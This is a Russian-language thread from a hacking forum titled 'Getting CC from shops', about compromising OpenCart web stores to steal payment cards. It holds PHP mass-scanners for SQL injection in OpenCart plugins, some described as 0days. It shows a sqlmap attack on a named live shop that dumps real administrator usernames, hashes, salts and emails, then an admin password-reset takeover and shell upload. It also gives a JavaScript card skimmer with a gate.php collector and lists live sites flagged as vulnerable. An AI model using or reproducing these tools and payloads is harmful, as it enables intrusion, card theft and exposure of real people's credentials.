• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Добываем CC из шопов.

Если php5.6 и Curl уже установлен в терминале через команду cd переходите в папку где лежат скрипты

Выполняете эти команды: Актуальные всегда можно взять тут https://getcomposer.org/download/ ибо после обновы компоссера хеш файла будет другой и не установится


Если все прошло хорошо в папке появится файл composer.phar

Создаете в той же папке файл
composer.json

В него копируете этот код :
JSON:
{
    "require": {
        "chuyskywalker/rolling-curl": "*"
    }
}

Запускаете установку командой
Код:
php composser.phar install

если все прошло хорошо появится папка vendor
в ней будут лежать нужные файлы по адресу vendor/chuyskywalker/rolling-curl/src/RollingCurl/

в скрипте прописываете путь до файлов и всё должно заработать

Еще в скрипте надо mb_strlen заменить на strlen
Функция mb_strlen не работает в версии php5.6 которую советует установить автор темы

Должно получится как то так. Никаких ошибок вылазить не должно. Тестил на голом дебиане с установленным php.5.6 и Curl
Все сделал также как тут написано, но на Винде, все равно пхп ругается, как то нету желания ради одного скрипта опять ленку ставить, кто разобрался на Винде пните что там к чему)
 
А разве в пхп, curl не по умолчанию идет? Плюс этого метода, только в том что он использует мультикурл, точнее готовую библиотеку, но минус, в том что отсутствует поддержка прокси, а она есть! Ну вообщем для новечков, которые пытаются разобраться в этой теме, вполне пойдет!

P.S: Автору на заметку....

в пхп функции curl есть такая опция: curl_setopt($cl, CURLOPT_PROXY, $proxy);

т.е к примеру в твоем участке кода:

PHP:
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
    $request = new \RollingCurl\Request($url);
    $request->setOptions($options);
    $rollingCurl->add($request);
}

в опции можно прописать так:

$options = array(CURLOPT_TIMEOUT => 15, CURLOPT_PROXY => $proxy );

ну и в качестве самих прокси подключить файлик который по рэндому выбирал бы прокси.....
 
Последнее редактирование:
дабы не плодить темы,подскажите как поставить сниффер через админку,через шел та понятно а вот через админку чет не могу понять,версия 2 и первая опенкарта,за ранее благодарю за помощь!
 
Приступим. Что нам понадобится:
  1. php5.6 + curl
  2. RollingCurl - _ttps://github.com/takinbo/rolling-curl

Начнём с простого, напишем парсер для публичной уязвимости в opencart.

PHP:
<?php
ini_set('memory_limit', '-1');

require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';

$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('set_base_here.txt');
$plugin = "/index.php?route=product/product&path=4_16&product_id=431'";
$arr = array();

foreach ($content as $string) {
 $url = trim($string);
 $url = $url.$plugin;
 $arr[] = $url;
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print "                                            product_id  testing                                                         ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
    $request = new \RollingCurl\Request($url);
    $request->setOptions($options);
    $rollingCurl->add($request);
}

$rollingCurl
    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {

    $out = $request->getResponseText();
    $vuln = explode('You have an error in your SQL syntax',$out);
    $false1 = explode('<html',$out);
    $false = explode('href="',$out);
    $header = $request->getresponseInfo();
    $http_code = $header['http_code'];

 if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){

    if(mb_strlen($request->getResponseText())==0){
//    print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;
}   

 if(isset($vuln[1])){
    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}



else{
}
}

else{
}

})->execute();

?>

Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
Код:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
Код:
            python ~/sqlmap/sqlmap.py -u "https://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431*" --sql-shell  --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
Код:
            select `value` from `oc_setting` where `key` like '%ftp%'
Мимо. Извлекаем учётные данные администраторов:
Код:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
Код:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:
           [*] admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, office@sharknet.ws
           [*] presian, 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, adminmymart@yaybg.bg
           [*] itso, 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, itso@yaybg.bg
           [*] angel, 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, angel@yaybg.bg
           [*] denis, 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, denis@yaybg.bg
           [*] dimityr, 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, dimityr@yaybg.bg
           [*] vania, 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, vania@yaybg.bg
           [*] ognian, 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, ognian@yaybg.bg
           [*] Tibi, a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, danieltityukov@mail.bg
           [*] printirane, 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, yaybgorder@gmail.com
           [*] marketing, 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, andorexe@mail.bg
           [*] petio, 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL, razlichnobg@mail.bg
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Код:
https://www.yay.bg/admin/index.php?route=common/forgotten
Ресетим пароль администратора, office@sharknet.ws;
Код для ресета пароля хранится в:
       
            sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
Код:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJY

Попадаем в админ панель:
Посмотреть вложение 4904

Загружаем шелл через установщик плагинов.

Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.

Прмемер сниффера: JS:

Код:
jQuery(document).ready(function() {
    jQuery('#order').change(function() {
        if (jQuery('#card_number').val().replace(/[^0-9]/g,'').length > 14 && jQuery('#card_cvNumber').val().replace(/[^0-9]/g,'').length > 2) {
            jQuery.ajax({
                url: 'https://example.com/gate.php?token=FZorkMQW',
                data: jQuery('#order').serialize(),
                type: 'POST',
                success:function(resp)
                {
                    return false;
                },
                error:function(jqXHR, textStatus, errorThrown)
                {
                    return false;
                }
            });
        }
    });
});
Правим поля под форму (#);
gate.php
Код:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

$req_dump = file_get_contents("php://input").PHP_EOL;
$fp = file_put_contents( '/var/log/ssl30.txt', $req_dump, FILE_APPEND);
?>

напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);


PHP:
<?php

ini_set('memory_limit', '-1');


require __DIR__ . '/src/RollingCurl/RollingCurl.php';

require __DIR__ . '/src/RollingCurl/Request.php';


$rollingCurl = new \RollingCurl\RollingCurl();

$i =0;

$content = file('test.txt');

$plugin = "/index.php?route=module/mega_filter/results&mfp='";

$arr = array();


foreach ($content as $string) {

 $url = trim($string);

 $url = $url.$plugin;

 $arr[] = $url;

}


print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

print "                                                          testing module/mega_filter                                                             ". PHP_EOL;

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;


$sites = array_reverse($arr);

$options = array(CURLOPT_TIMEOUT => 15);


foreach ($sites as $url) {

    $request = new \RollingCurl\Request($url);

    $request->setOptions($options);

    $rollingCurl->add($request);

}


$rollingCurl

    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {


    $out = $request->getResponseText();

    $vuln = explode('syntax;',$out);

    $false1 = explode('<html',$out);

    $false = explode('href="',$out);

    $header = $request->getresponseInfo();

    $http_code = $header['http_code'];


 if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){


    if(mb_strlen($request->getResponseText())==0){

    //print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;

}  


 if(isset($vuln[1])){

    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;

}




else{

}

}


else{

}


})->execute();


?>


Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.

Тестовый output:


Код:
abaro.vn/index.php?route=module/mega_filter/results&mfp=':vuln
igalaxy.gr/index.php?route=module/mega_filter/results&mfp=':vuln
cardtak.com/index.php?route=module/mega_filter/results&mfp=':vuln
iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=':vuln
www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.omikron.gr/index.php?route=module/mega_filter/results&mfp=':vuln
www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.bazistory.com/index.php?route=module/mega_filter/results&mfp=':vuln
polleosport.si/index.php?route=module/mega_filter/results&mfp=':vuln
iranianskin.com/index.php?route=module/mega_filter/results&mfp=':vuln
Привет,

Как мы сейчас в 2021 версия php поменялась итд... Можешь сделать на этот год?
 
Привет,

Как мы сейчас в 2021 версия php поменялась итд... Можешь сделать на этот год?
ТС был онлайн последний раз 11.09.2019. Не думаю что он обновит свою тему
 
Привет,

Как мы сейчас в 2021 версия php поменялась итд... Можешь сделать на этот год?
Поставить локально уязвимую CMS и протестировать все шаги нар различных версиях PHP, ну и там в случае выявленных ошибок оптимизировать все это дело...

Хотя что тут менять? на рабочей машине ставите под чекер 5.6 версию и также все работать будет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да я собственно тут, тема разумеется рабочая. Не могу восстановить старый аккаунт. Упростил максимально код. На данном этапе публично могу выложить только в формате чекера.

Обновление:
- отказался от мультипоточности и rolling curl (лучше результат выдачи);
- объединил все уязвимые плагины в 1 фаил;
- вложил 4 0day уязвимости;
- бонусом дополнил базу чекером на adminer;

В приватной версии:

- Чекер версии CMS
- Чекер админки
- Чекер восстановления пароля (выше писал, что можно ресетить пароль админу и смотреть code в бд);
- Детальное описание уязвимостей и генерация запроса с настройками tamper к sqlmap
- Поиск важных фаилов
- еще 6 0day в популярных плагинах
* красивый вывод результата и прокси

PHP:
<?php

/*   opencart security tool
.------..------..------..------.
|O.--. ||C.--. ||S.--. ||T.--. |
| :/\: || :/\: || :/\: || :/\: |
| :\/: || :\/: || :\/: || (__) |
| '--'O|| '--'C|| '--'S|| '--'T|
`------'`------'`------'`------'
* public version
*/


$adminer = array("url" => "/adminer.php","true" => '?file=favicon.ico');
$manufacturer = array("url" => "/index.php?route=product/manufacturer/info&manufacturer_id='", "true" => "syntax");
$product = array("url" => "/index.php?route=product/product&path=4_16&product_id=431'", "true" => "syntax;");
$search = array("url" => "/index.php?route=product/search&tag='", "true" => "syntax;");
$seo = array("url" => "/'", "true" => "syntax;");
$enquiry = array("url" => "/index.php?route=information/contact&enquiry='", "true" => "syntax;");
$journal3 = array("url" => "/index.php?route=journal3/product&product_id='", "true" => "syntax;");
$pav = array("url" => "/index.php?route=pavblog/blog&blog_id=160'", "true" => "syntax;");
$blog_list = array("url" => "/index.php?route=product/blog_list&blogger_id=11'", "true" => "syntax;");
$blog = array("url" => "/index.php?route=blog/blog&blog_id=140'", "true" => "syntax;");


function curl_me($url){
$curl = curl_init();
if (!$curl) die("Couldn't initialize a cURL handle");
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_USERAGENT, 'WithLoveFromXSS.is'); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_FAILONERROR, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($curl, CURLOPT_TIMEOUT, 5);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$html = curl_exec($curl);
return $html;

}


$list = file('wow.txt');

foreach($list as $target){

$target = trim($target);
//print '=> ' .$target. PHP_EOL;
if(stripos(curl_me($target.$adminer['url']), $adminer['true']) !== false) { print $target.$adminer['url']. PHP_EOL;}
if(stripos(curl_me($target.$manufacturer['url']), $manufacturer['true']) !== false) { print $target.$manufacturer['url']. PHP_EOL;}
if(stripos(curl_me($target.$product['url']), $product['true']) !== false) { print $target.$product['url']. PHP_EOL;}
if(stripos(curl_me($target.$search['url']), $search['true']) !== false) { print $target.$search['url']. PHP_EOL;}
if(stripos(curl_me($target.$seo['url']), $seo['true']) !== false) { print $target.$seo['url']. PHP_EOL;}
if(stripos(curl_me($target.$enquiry['url']), $enquiry['true']) !== false) {print $target.$enquiry['url']. PHP_EOL;}
if(stripos(curl_me($target.$journal3['url']), $journal3['true']) !== false) { print $target.$journal3['url']. PHP_EOL;}
if(stripos(curl_me($target.$pav['url']), $pav['true']) !== false) { print $target.$pav['url']. PHP_EOL;}
if(stripos(curl_me($target.$blog_list['url']), $blog_list['true']) !== false) { print $target.$blog_list['url']. PHP_EOL;}
if(stripos(curl_me($target.$blog['url']), $blog['true']) !== false) { print $target.$blog['url']. PHP_EOL;}

}


Ну и по традиции немного результатов, есть с формами :)

Код:
http://hq-tech.com//index.php?route=product/product&path=4_16&product_id=431%27
tillsonburggunshop.com/adminer.php
xmasdvdset.com/'
leebhardnesstesters.com/adminer.php
sec-on.com/admin/:RESET: https://sec-on.com/index.php?route=product/manufacturer/info&manufacturer_id='
aqqfa.com/admin/:RESET: https://aqqfa.com/index.php?route=product/manufacturer/info&manufacturer_id='
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Adminer до версии 4.6.3 включительно уязвим к CVE-2021-43008 - Adminer - Arbitrary file read
Фактически ты можешь прочитать конфиг для подключения к БД и авторизоватся в нее через этот-же адмайнер.
Так-же можешь поискать забытые бэкапы конфигов (~,bak,txt,php_), дефолтно конфиг к подключению к бд лежит в config.php и admin/config.php
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Метод ресета пароля уже не актуален. На почту отправляется вместе с кодом ресета токен, который не отображается в бд. При попытке зайти с ссылкой ниже кнопка forgiben password умирает и становится неактивной.
Код:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJY
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Уточни версию, ресет работает прекрасно, но в нем есть зашитая защита от брута. Стоит пару раз ввести не верный code, ресет отключается.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Предложи варианты многопотока на php лучше, вопрос многопотока и php меня давно мучает.
Код 18-го года. Лучше вариантов не нашел чем RollingCurl. Из альтернатив был EvilCurl - модификация RollingCurl с поддержкой прокси.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Уточни версию, ресет работает прекрасно, но в нем есть зашитая защита от брута. Стоит пару раз ввести не верный code, ресет отключается.
Проверял на версии 3.0.3.7 в двух разных шопах.

Сразу с первой попытки кидает вместо ресета на страницу авторизации, убирая кнопку ресета. В админке опенкарта убирает галочку на Allow Forgotten Password
Пробовал:
1) захотить на ссылку ресета с разных браузеров, с пустыми куками и заполненными
2) менял таймзону под серв

После включения Allow Forgotten Password функция восстановления пароля работает как положено. НО, это у меня был доступ в админ панель, как же быть в боевых условиях, когда после первой же попытки метод умирает. Не понимаю, на чём меня фродит OpenCart

ТК в лабораторных условиях я просто не понимаю как снова сделать эту же ситуацию, чтобы меня выкинуло на авторизацию с первой попытки. Делал грязный ip, убирал куки, менял таймзону
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Уточни версию, ресет работает прекрасно, но в нем есть зашитая защита от брута. Стоит пару раз ввести не верный code, ресет отключается.
Я плохо читаю PHP. Прикрепляю код с сервера, который скинул меня на первой же попытке и закрыл форму ресета. Никаких анти фрауд модулей в шопе нет
 

Вложения

  • reset.php.txt
    3.3 КБ · Просмотры: 32
  • forgotten.php.txt
    2.7 КБ · Просмотры: 20
Пожалуйста, обратите внимание, что пользователь заблокирован
Разобрался кажется. В oc_setting даже когда стоит в config_password 0 может появляться кнопка Forgotten Password. Прав ли я? Или меня меня фродил все таки OpenCart?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Был не прав, ресет и правда работает, дело было в баге OpenCart когда у меня отображалось forgiben password при значении config_password 0. В PoC AdminerRead указывается, что нужны креды от адмайнера, без кредов не получится, правильно понимаю?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх